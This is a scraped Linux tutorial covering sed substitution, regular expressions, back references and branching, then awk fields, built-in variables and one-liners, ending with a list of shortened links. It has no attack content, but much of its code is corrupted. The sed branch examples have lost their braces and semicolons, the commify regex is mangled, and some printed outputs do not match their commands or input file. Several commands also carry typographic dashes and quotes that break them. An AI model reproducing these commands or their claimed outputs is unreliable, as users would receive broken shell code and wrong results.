g	Replace all matches, not just the first match.
NUMBER	Replace only NUMBERth match.
p	If substitution was made, print pattern space.
w FILENAME	If substitution was made, write result to FILENAME.
I or i	Match in a case-insensitive manner.
M or m	In addition to the normal behavior of the special regular expression characters ^ and $, this flag causes ^ to match the empty string after a newline and $ to match the empty string before a newline.

The Matching Command

You would use p option along with -n option to print all the matching lines

$ cat testing | sed -n '/root/p'

Using Regular Expression

Character	Description
^	Matches the beginning of lines.
$	Matches the end of lines.
.	Matches any single character.
*	Matches zero or more occurrences of the previous character
[chars]	Matches any one of the characters given in chars, where chars is a sequence of characters. You can use the - character to indicate a range of characters.

Matching Characters

Expression	Description
/a.c/	Matches lines that contain strings such as a+c, a-c, abc, match, and a3c, whereas the pattern
/a*c/	Matches the same strings along with strings such as ace, yacc, and arctic.
/[tT]he/	Matches the string The and the:
/^$/	Matches Blank lines
/^.*$/	Matches an entire line whatever it is.
/ */	Matches one or more spaces
/^$/	Matches Blank lines

Following table shows some frequently used sets of characters −

Set	Description
[a-z]	Matches a single lowercase letter
[A-Z]	Matches a single uppercase letter
[a-zA-Z]	Matches a single letter
[0-9]	Matches a single number
[a-zA-Z0-9]	Matches a single letter or number

Character Class Keywords

Character Class	Description
[[:alnum:]]	Alphanumeric [a-z A-Z 0-9]
[[:alpha:]]	Alphabetic [a-z A-Z]
[[:blank:]]	Blank characters (spaces or tabs)
[[:cntrl:]]	Control characters
[[:digit:]]	Numbers [0-9]
[[:graph:]]	Any visible characters (excludes whitespace)
[[:lower:]]	Lowercase letters [a-z]
[[:print:]]	Printable characters (noncontrol characters)
[[:punct:]]	Punctuation characters
[[:space:]]	Whitespace
[[:upper:]]	Uppercase letters [A-Z]
[[:xdigit:]]	Hex digits [0-9 a-f A-F]

Aampersand Referencing

$ sed -e 's/^[[:digit:]][[:digit:]][[:digit:]]/(&)/g' phone.txt
(555)5551212
(555)5551213
(555)5551214
(666)5551215
(666)5551216
(777)5551217

Using Multiple sed Commands

$ sed -e 'command1' -e 'command2' ... -e 'commandN' files

$ sed -e 's/^[[:digit:]]\{3\}/(&)/g'  \ -e 's/)[[:digit:]]\{3\}/&-/g' phone.txt
(555)555-1212
(555)555-1213
(555)555-1214
(666)555-1215
(666)555-1216
(777)555-1217

Note − In the above example, instead of repeating the character 
class keyword [[:digit:]] three times, you replaced it with \{3\}, which
 means to match the preceding regular expression three times. Here I 
used \ to give line break you should remove this before running this 
command.

Back References

To do back references, you have to first define a region and then refer back to that region. To define a region you insert backslashed parentheses around each region of interest. The first region that you surround with backslashes is then referenced by \1, the second region by \2, and so on.
Assuming phone.txt has the following text −

(555)555-1212
(555)555-1213
(555)555-1214
(666)555-1215
(666)555-1216
(777)555-1217

Now try the following command −

$ cat phone.txt | sed 's/\(.*)\)\(.*-\)\(.*$\)/Area \
                       code: \1 Second: \2 Third: \3/'
Area code: (555) Second: 555- Third: 1212
Area code: (555) Second: 555- Third: 1213
Area code: (555) Second: 555- Third: 1214
Area code: (666) Second: 555- Third: 1215
Area code: (666) Second: 555- Third: 1216
Area code: (777) Second: 555- Third: 1217

Note − In the above example each regular expression inside the parenthesis would be back referenced by \1, \2 and so on. Here I used \ to give line break you should remove this before running this command.

Sed Unconditional Branch Syntax:
$ sed ':label command(s) b label'

Explaination:

    :label -          specification of label.
    commands - Any sed command(s)
    label -          Any Name for the label
    b label –    jumps to the label with out checking any conditions. If label is not specified, then jumps to the end of the script.

========================
Sed Conditional Branch Syntax:

$ sed ':label command(s) t label'

Explainataion:

    :label - specification of label.
    commands - Any sed command(s)
    label - Any Name for the label
    t label – jumps to the label only if the last substitute command modified the pattern space. If label is not specified, then jumps to the end of the script.

=========================
Example : create a file name like thegeekstuff.txt
$ cat thegeekstuff.txt
Linux
        Administration
        Scripting
                Tips and Tricks
Windows
        Administration
Database
        Administration of Oracle
        Administration of Mysql
Security
        Network
                 Online\
        Security
Productivity
        Google Search\
        Tips

I. Sed Examples for Unconditional Branch
Sed Example 1. Replace the first occurrence of a pattern in a whole file

In the file thegeekstuff.txt replace the first occurrence of “Administration” to “Supervision”.

command:
$ sed '/Administration/{ s/Administration/Supervision/ :loop n b loop }' thegeekstuff.txt

output
Linux
    Supervision
        Scripting
                Tips and Tricks
Windows
        Administration
Database
        Administration of Oracle
        Administration of Mysql
Security
        Network
                 Online\
        Security
Productivity
        Google Search\
        Tips

Explain:
In the above sed command, it just read line by line and prints the pattern space till Administration occurs.
Once Administration occurs, substitute Administration to Supervision (only single occurrence, note that no ‘g’ flag in substitution).
Once the first occurrence has been replaced, just read the remaining file content and print.
“n” is a sed command which prints the pattern space and overwrite it with next line.
Used “loop” as a label. “n” prints the current line and overwrite pattern space with the next line. b loop jumps to the :loop again. So this loop prints the remaining content of thegeekstuff.txt.
Sed Example 2. Remove the data between pattern ” ” in a whole file

In our example file there are three lines between “”.
$ sed -e ':loop$!N/\n$/!b loop}s/\"[^\"]*\"//g' thegeekstuff.txt
Linux
        Administration
        Scripting
                Tips and Tricks
Windows
        Administration
Database
        Administration of Oracle
        Administration of Mysql
Security
        Network
                 Online\
        Security
Productivity
        Google Search\
        Tips

Explain:
Above command keep appends all the lines of a file till end of file occurs.
        $! – If its not a end of file.
        N – Append the next line with the pattern space delimited by \n
        /\n$/!b loop – If this is not the last line of the file jump to the loop again.
    Now all the lines will be available in pattern space delimited by newline. Substitute all the occurrence of data between ” with the empty.
Sed Example 3. Remove the HTML tags of a file

Let us say, I have a file with the following html content

$ cat index.html
<html><body>
<table
border=2><tr><td valign=top
align=right>1.</td>
<td>Line 1 Column 2</
td>
</table>
</body></html>

The following sed command removes all the html tags from the given file

$ sed '/</{:loops/<[^<]*>//g/</{Nb loop}}' index.html

1.
Line 1 Column 2
    Each time find a line contains ‘<’, first remove all HTML tags of that line.
    If now the pattern space contains ‘<’, this implies a multi-line tag. Now repeat the following loop:
        Join next line
        Remove all HTML tags until no single ‘<’ exists
    When no ‘<’ exists in the pattern space, we print it out and start a new cycle.

II. Sed Examples for Conditional Branch
Sed Example 4. If a line ends with a backslash append the next line to it.
Our example file has two lines ends with backslash, now we have to append its next line to it.

$ sed ':loop/\\$/Ns/\\\n */ /t loop' thegeekstuff.txt
Linux
        Administration
        Scripting
                Tips and Tricks
Windows
        Administration
Database
        Administration of Oracle
        Administration of Mysql
Security
        Network
                 Online Security
Productivity
        Google Search Tips
        "Web Based Time Tracking,
        Web Based Todo list and
        Reduce Key Stores etc"

    Check if the line ends with the backslash (/\\$/), if yes, read and append the next line to pattern space, and substitute the \ at the end of the line and number of spaces followed by that, with the single space.
    If the substitution is success repeat the above step. The branch will be executed only if substitution is success.
    Conditional branch mostly used for recursive patterns.

Sed Example 5. Commify a numeric strings.

$ sed ' :loop s/$.*[0-9]$$[0-9]\{3\}$/\1,\2/ t loop' 12342342342343434 12,342,342,342,343,434

    Group the digits into two groups.
    The first group is all the digits up to last three digits. The last three digits gets captures in the 2nd group.
    Then the two matching groups get separated by a comma. Then the same rules get applied to the line again and again until all the numbers have been grouped in groups of three.
    For example, in the first iteration it will be 12342342342343,434
    In the next iteration 12342342342,343,434 and goes on till there are less than three digits.

Sed Example 6. Formatting : Replace every leading space of a line with ‘+’

$ sed 's/^ */&\n/:loops/^\n//;s/ \n/\n+/t loop' test
Linux
++++++++Administration
++++++++Scripting
++++++++++++++++Tips and Tricks
Windows
++++++++Administration
Database
++++++++Administration of Oracle
++++++++Administration of Mysql
Security
++++++++Network
+++++++++++++++++Online\
++++++++Security
Productivity
++++++++Google Search\
++++++++Tips
++++++++"Web Based Time Tracking,
++++++++Web Based Todo list and
++++++++Reduce Key Stores etc"

    Seperate all the leading spaces and other characters of a line with a newline character.
    Now replace space and newline with newline and +. So from right to left space will be replaced by + and newline will be moved left for one character.
    At last in the beginning of the line \n will be there, so remove that new line.

----> There is lot of more in the way i m working on some critical issues will share you more<---

Part VII – AWK Tutorial

AWK Defination:-
-Awk is one of the most powerful tools in Unix used for processing the rows and columns in a file.
-Awk has built in string functions and associative arrays.
-Awk supports most of the operators, conditional blocks, and loops available in C language.

Note:
-One of the good things is that you can convert Awk scripts into Perl scripts using a2p utility.

The basic syntax of AWK:

awk 'BEGIN {start_action} {action} END {stop_action}' filename

1. awk '{print $1}' input_file
Here $1 has a meaning. $1, $2, $3... represents the first, second, third columns... in a row respectively.

2. awk 'BEGIN {sum=0} {sum=sum+$5} END {print sum}' input_file
This will prints the sum of the value in the 5th column. In the Begin block the variable sum is assigned with value 0. In the next block the value of 5th column is added to the sum variable. This addition of the 5th column to the sum variable repeats for every row it processed. When all the rows are processed the sum variable will hold the sum of the values in the 5th column. This value is printed in the End block

Some other intresting arguments:
FS - Input field separator variable:
So far, we have seen the fields separted by a space character. By default Awk assumes that fields in a file are separted by space characters. If the fields in the file are separted by any other character, we can use the FS variable to tell about the delimiter.
Syntax:
awk 'BEGIN {FS=":"} {print $2}' input_file
OR
awk -F: '{print $2} input_file

OFS - Output field separator variable:

By default whenever we printed the fields using the print statement the fields are displayed with space character as delimiter.
We can change this default behavior using the OFS variable as

awk 'BEGIN {OFS=":"} {print $4,$5}' input_file

Example:

center:0
center:17
center:26
center:25
center:43
center:48

Note: print $4,$5 and print $4$5 will not work the same way. The firstone displays

the output with space as delimiter. The second one displays the output without any delimiter

NF - Number of fileds variable:
The NF can be used to know the number of fields in line

This will display the number of columns in each row.

NR - number of records variable: 
The NR can be used to know the line number or count of lines in a file.

awk '{print NR}' input_file
This will display the line numbers from 1
awk 'END {print NR}' input_file
This will display the total number of lines in the file.

String functions in Awk:
Some of the string functions in awk are:

index(string,search)
length(string)
split(string,array,separator)
substr(string,position)
substr(string,position,max)
tolower(string)
toupper(string)

Note: Things To Remember

Meaning of some of the Awk Built-in Variables used below:

NF       : Number of fields in current line/record
NR       : Ordial number of current line/record
FS       : Field Separator (Also -F can be used)
OFS      : Output Field Separator (default=blank)
FILENAME : Name of current input file

All of following Awk one liners are based on the following input file 'test1.txt'

$ cat test1.txt
Continent:Val
AS:12000
AF:9800
AS:12300
NA:3400
OC:12000
AF:500
AS:1000

A)#Print 'line number' NR and 'Number of fields' NF for each line

$ awk -F ":" '{print NR,NF}' test1.txt
1 2
2 2
3 2
4 2
5 2
6 2
7 2
8 2

B)#Print first field, colon delimited

$ awk -F ":" '{print $1}' test1.txt
Continent
AS
AF
AS
NA
OC
AF
AS

C)#Same as B, but excluding the 'first line' (NR!=1)

$ awk -F ":" 'NR!=1 {print $1}' test1.txt
AS
AF
AS
NA
OC
AF
AS

D)#Same as B but only for line number 1 (NR==1)

$ awk -F ":" 'NR==1 {print $1}' test1.txt
Continent

E)#Print first and second field

$ awk -F ":" 'NR!=1 {print $1,$2}' test1.txt
AS 12000
AF 9800
AS 12300
NA 3400
OC 12000
AF 500
AS 1000

F)#Setting output field separator as pipe

$ awk -F ":" 'BEGIN{OFS="|"} NR!=1 {print $1,$2}' test1.txt
AS|12000
AF|9800
AS|12300
NA|3400
OC|12000
AF|500
AS|1000

G)#FS and OFS can be included in BEGIN section

$ awk 'BEGIN{FS=":"; OFS="|"} NR!=1 {print $1,$2}' test1.txt
AS|12000
AF|9800
AS|12300
NA|3400
OC|12000
AF|500
AS|1000

H)#Anything on BEGIN executes first

$ awk 'BEGIN{FS=":"; OFS="|"; print "Con|SomeVal"} NR!=1 {print $1,$2}' test1.txt
Con|SomeVal
AS|12000
AF|9800
AS|12300
NA|3400
OC|12000
AF|500
AS|1000

I)#Printing FILENAME, will be printed for all the lines

$ awk -F ":" '{print FILENAME}' test1.txt
test1.txt
test1.txt
test1.txt
test1.txt
test1.txt
test1.txt
test1.txt
test1.txt

#Same as above but printing only last instance using END clause

$ awk -F ":" ' END {print FILENAME}' test1.txt
test1.txt

J)#Revisiting NF, number of fields in each line

$ awk -F ":" '{print NF}' test1.txt
2
2
2
2
2
2
2
2

K)#Printing the last field of the file, same as printing $2 as there are only 2 fields

$ awk -F ":" '{print $NF}' test1.txt
Val
12000
9800
12300
3400
12000
500
1000

L)#Matching, printing lines begin with "AS"

$ awk -F ":" '/^AS/' test1.txt
AS:12000
AS:12300
AS:1000

M) #'Not condition' of the L

$ awk -F ":" '!/^AS/' test1.txt
Continent:Val
AF:9800
NA:3400
OC:12000
AF:500

N) #Direct matching, first field as "AS"

$ awk -F ":" '$1=="AS"' test1.txt
AS:12000
AS:12300
AS:1000

$ awk -F ":" '$1=="AS" {print $2}' test1.txt
12000
12300
1000

o)#$0 prints the full line, same as {print}

$ awk -F ":" '$1=="AS" {print $0}' test1.txt
AS:12000
AS:12300
AS:1000

$ awk -F ":" '$1=="AS" {print}' test1.txt
AS:12000
AS:12300
AS:1000


P)# 'Or' condition

$ awk -F ":" '$1=="AS" || $1=="OC" {print}' test1.txt
AS:12000
AS:12300
OC:12000
AS:1000

# 'Or' and 'AND' together

$ awk -F ":" '($1=="AS" || $1=="OC") && $NF > 11000 {print}' test1.txt
AS:12000
AS:12300
OC:12000

$ awk -F ":" '($1=="AS" || $1=="OC") && $NF > 11000 {print $2-10000}' test1.txt
2000
2300
2000

$ awk -F ":" '($1=="AS" || $1=="OC") && $NF > 11000 {print ($2-($2%100))}' test1.txt
12000
12300
12000

N)
#Partial Matching

$ awk -F ":" '$1 ~ /AS/ {print}' test1.txt
AS:12000
AS:12300
AS:1000

$ awk -F ":" '$1 ~ /A/ {print}' test1.txt
AS:12000
AF:9800
AS:12300
NA:3400
AF:500
AS:1000

O)
#Reading from  STDOUT

$ cat test1.txt | awk -F ":" '!/Continent/ {print $1}' | sort | uniq
AF
AS
NA
OC

P)
#Add value 1000 to the 2nd field, where first field is "AF" and then print the output file

$ awk -F ":" '$1=="AF" {$2+=1000} {print}' test1.txt
Continent:Val
AS:12000
AF 10800
AS:12300
NA:3400
OC:12000
AF 1500
AS:1000

#As no OFS is mentioned above, by default, OFS is blank, specifying it now

$ awk -F ":" 'BEGIN {OFS=":"} $1=="AF" {$2+=1000} {print}' test1.txt
Continent:Val
AS:12000
AF:10800
AS:12300
NA:3400
OC:12000
AF:1500
AS:1000

Q)
#Sum of 2nd fields, exclude first line

$ awk -F ":" 'NR!=1 {sum+=$NF} END {print sum}' test1.txt
51000

#If END is not mentioned ?

$ awk -F ":" 'NR!=1 {sum+=$NF} {print sum}' test1.txt
12000
21800
34100
37500
49500
50000
51000

#Average of 2nd field, as first field is excluded, (NR-1) instead of NR for total number of items
$ awk -F ":" 'NR!=1 {sum+=$NF} END {print sum/(NR-1)}' test1.txt
7285.71

$ awk -F ":" 'NR!=1 && $1=="AS" {sum+=$NF} END {print sum}' test1.txt
25300

R) 'Group by' and 'Count' using associative array in awk

$ awk ' BEGIN {FS=OFS=":"}
NR==1 {print "Continent:Count:Sum(val)"}
NR>1 {a[$1]++;b[$1]=b[$1]+$2} END{for (i in a) print i,a[i],b[i]}' test1.txt

Continent:Count:Sum(val)
OC:1:12000
NA:1:3400
AF:2:10300
AS:3:25300

#Count of each of the continents(1st field)

$ awk -F ":" 'NR==1 {next}NR>1 {a[$1]++} END{for (i in a) print i,a[i]}' test1.txt
OC 1
NA 1
AF 2
AS 3

#An alternative

$ awk -F ":" 'NR!=1 {print $1}' test1.txt  | sort | uniq -c
   2 AF
   3 AS
   1 NA
   1 OC

#Reading from STDOUT

$ cat test1.txt | awk 'BEGIN {OFS=":"} {print NR-1,$0}'
0:Continent:Val
1:AS:12000
2:AF:9800
3:AS:12300
4:NA:3400
5:OC:12000
6:AF:500
7:AS:1000

S)
#Accessing external variable in awk:

$ awk -F ":" '$1=="AS" {print $2}' test1.txt
12000
12300
1000

#Suppose value of filterval is "AS"

$ filterval="AS"
$ echo $filterval
AS

#Accessing value of variable filterval inside Awk

$ awk -F ":" -v con=$filterval '$1==con {print $2}' test1.txt
12000
12300
1000

#Set 2nd value as 0 where first field is "AS"

$ awk -F ":" 'BEGIN {OFS=":"} $1=="AS" {$2=0} {print}' test1.txt
Continent:Val
AS:0
AF:9800
AS:0
NA:3400
OC:12000
AF:500
AS:0

External Scripts:

Passing your scripts to awk as a command line argument can be very handy for small one-liners, but when it comes to complex, multi-line programs, you'll definitely want to compose your script in an external file. Awk can then be told to source this script file by passing it the -f option:

[mjk@Distro Server MA]$ awk -f awkexample1.sh awkexample.txt

awkexample1.sh

#!/bin/bash

BEGIN {
        FS= ":"
        print "Marine Parts R Us"
        print "Main catalog"
        print "Part-id\tname\t\t\t price"
        print "======================================"
}
{
        printf("%3d\t%-20s\t%6.2f\n", $1, $2, $3)
        count++
}
END {
        print "======================================"
        print "Catalog has " count " parts"
}

awkexample.txt

103:sway bar:49.99
101:propeller:104.99
104:fishing line:0.99
113:premium fish bait:1.00
106:cup holder:2.49
107:cooler:14.89
112:boat cover:120.00
109:transom:199.00
110:pulley:9.88
105:mirror:4.99
108:wheel:49.99
111:lock:31.00
102:trailer hitch:97.95

and output is below:

[mjk@jumpserver MA]$ awk -f awkexample1.sh awkexample.txt
Marine Parts R Us
Main catalog
Part-id name                     price
======================================
103     sway bar                 49.99
101     propeller               104.99
104     fishing line              0.99
113     premium fish bait         1.00
106     cup holder                2.49
107     cooler                   14.89
112     boat cover              120.00
109     transom                 199.00
110     pulley                    9.88
105     mirror                    4.99
108     wheel                    49.99
111     lock                     31.00
102     trailer hitch            97.95
0                               0.00
======================================
Catalog has 14 parts

--:Some Tricky Examples:--

How to Print only Blank Line of File.

sed -n '/^$/p' Test_file.txt

To Print First and Last Line using Sed Command

sed -n ‘1p’ Test_file.txt

sed –n ‘$p’ Test_file.txt

To Print all line Except First Line

sed –n ‘1!p’ Test_file.txt

Delete all Line except First Line

sed –n ‘1!d’ Test_file.txt

How to get only Zero Byte files which are present in the directory

ls -ltr| awk '/^-/ { if($5 ==0) print $9 }'

How add a First record and Last Record to the current file in Linux

sed -i -e '1i Header' -e '$a Trailor' test_file.txt

How to display Even number of records into one file and Odd number of records into another file

awk 'NR %2 == 0' test_files.txt

awk 'NR %2 != 0' test_files.txt

Remove all empty lines:

sed '/^$/d' test_file.txt

sed '/./!d' test_file.txt

2. Numbering and Calculations

Note: I have a file whose name is awkfile.sh which is containing two urls only and it is repeatedly no of time

[mjk@Jump server Rough]$ awk '{ print NR "\t" $0 }' awkfile.sh

1 www.repsweb.foss.qintra.com/repsweb

2 www.gadgets.qlive.qwest.com/dtvWebApp/stbui/index.html

3 www.gadgets.qlive.qwest.com/dtvWebApp/stbui/index.html

Number lines in a fancy manner.

[ mjk@Jump server Rough]$ awk '{ printf("%5d => %s\n", NR, $0) }' awkfile.sh
    1 => www.repsweb.foss.qintra.com/repsweb
    2 => www.gadgets.qlive.qwest.com/dtvWebApp/stbui/index.html
    3 => www.gadgets.qlive.qwest.com/dtvWebApp/stbui/index.html
    4 => www.gadgets.qlive.qwest.com/dtvWebApp/stbui/index.html
    5 => www.gadgets.qlive.qwest.com/dtvWebApp/stbui/index.html

Number only non-blank lines in files.

[ mjk@Jump server Rough]$ awk 'NF { $0=++a " :" $0 }; { print }' awkfile.sh
1 :www.repsweb.foss.qintra.com/repsweb
2 :www.gadgets.qlive.qwest.com/dtvWebApp/stbui/index.html
3 :www.gadgets.qlive.qwest.com/dtvWebApp/stbui/index.html
4 :www.gadgets.qlive.qwest.com/dtvWebApp/stbui/index.html

Count lines in files (emulates wc -l)

[mjk@Distro server Rough]$ awk 'END { print NR }' awkfile.sh
4

Print the sum of fields in every line.

******End OF Tutorial******

========================================================================
Some Useful links

Learn Linux, 50 Topics explained in detailed. Basics to Advanced topics
======» Basics «================================
1. Introduction to Linux — http://bit.ly/Introcudtion_to_Linux
2. Linux Architecture — http://bit.ly/Linux_Architecture
3. Windows Vs Linux Comparision — http://bit.ly/Windows_Vs_Linux
4. Bash Shell features — http://bit.ly/bash_shell
5. Linux Directory Structure — http://bit.ly/Linux_Directory_structure
6. Linux Boot Process Detailed explanation - http://bit.ly/LinuXboot_process
7. Basic and Common Commands - http://bit.ly/Basicommands
8. All Linux Commands with there description - http://bit.ly/Linux_commands
==============» System Administration Topics «==============
9. Linux Text Editors - http://bit.ly/Text_Editors
10. Linux Operating System Installation - http://bit.ly/Linux_OS_Installation
11. User Profile Management - http://bit.ly/User_Profile_management
12. User Administration (User Creation, Modification and deletion) - http://bit.ly/User_Administration
13. Access Control List - http://bit.ly/Linux_acl
14. Head, Sort, Tail, Uniq, Paste, Cut, Tr, Sed and diff commands with examples - http://bit.ly/String_commands
15. Soft Link Vs Hard Link - http://bit.ly/Soft_vs_hard_link
16. Search related commands Grep, find and locate - http://bit.ly/search_commands
17. Task Automation using crontab and at - http://bit.ly/Linux_crontab
18. File system and Creating Standard partitions - http://bit.ly/Creating_partition
19. Logical Volume Manager (LVM - Part1) - http://bit.ly/Linux_LVM
20. Logical Volume Manager (LVM - Part2) - http://bit.ly/Linux_LVM2
21. Disk quota management - http://bit.ly/Disk_quota
22. RPM / YUM - http://bit.ly/Linux_YUM
23. All RAID Levels explained - http://bit.ly/RAID_Levels
24. Creating and Managing Software RAID - http://bit.ly/Manage_RAID
============ »> Advanced System Administration «< =========
25. Neworking installing and configuring the Network Card - http://bit.ly/Linux_networking
26. Remote Server Management (VNC Server) - http://bit.ly/Remote_server
27. Network File System (NFS) - http://bit.ly/TT_NFS
28. Samba Server (SMB) - http://bit.ly/sambaServer
29. File Transfer Protocol (FTP) - http://bit.ly/FileServerFTP
30. Web Server / Apache (HTTPD) - http://bit.ly/WEBServer
31. Mail Server configuration (SMTP) - http://bit.ly/1QopUJy
32. DHCP Server installation and configuration - http://bit.ly/1HLeHQu
33. DNS Server installation and configuration - http://bit.ly/1H2F7Nw
34. NIS Server - http://bit.ly/1NxgsgE
35. PAM - http://bit.ly/1MPioAB
36. Backup and Restore - http://bit.ly/1PtQl0c
37. SQUID Proxy Server - http://bit.ly/1SQUNoo
38. VNC Server - Centos - http://bit.ly/1WThXAf
39. Recovering ROOT Password - http://bit.ly/1kW6tuv
40. Netapp MPIO installation and configuration in Linux - http://bit.ly/1O9nsTL
41. Local YUM Server configuration - http://bit.ly/1lpfjBm
42. Kick Start Server installation and configuration - http://bit.ly/1SQVfmw
43. Process Management - http://bit.ly/1kW70fO
============»» InterView Questions and Answers ««=========
Interview questions and answers - PArt1- http://bit.ly/1NRnpMv
Interview questions and answers - PArt2 - http://bit.ly/1NtRXp9
Interview questions and answers - PAr3 - http://bit.ly/1Sr7juF
============ »» File system error resolution «< ==========
mount: Arugument list too Long - http://bit.ly/1Lg4qqm
============= »> A Book for Linux «< ===========
Book Linux Hands on Guide - http://bit.ly/1MeDyuH

*mv file1 file2 file3 dir1*	The files file1, file2, file3 are moved to directory dir1. dir1 must exist or mv will exit with an error.
*mv dir1 dir2*	If dir2 does not exist, then dir1 is renamed dir2. If dir2 exists, the directory dir1 is created within directory dir2.

*rm -r dir1 dir2*	Directories dir1 and dir2 are deleted along with all of their contents.
du`\| sort -nr`	Displays a list of directories and how much space they consume, sorted from the largest to the smallest.

Pages

Technology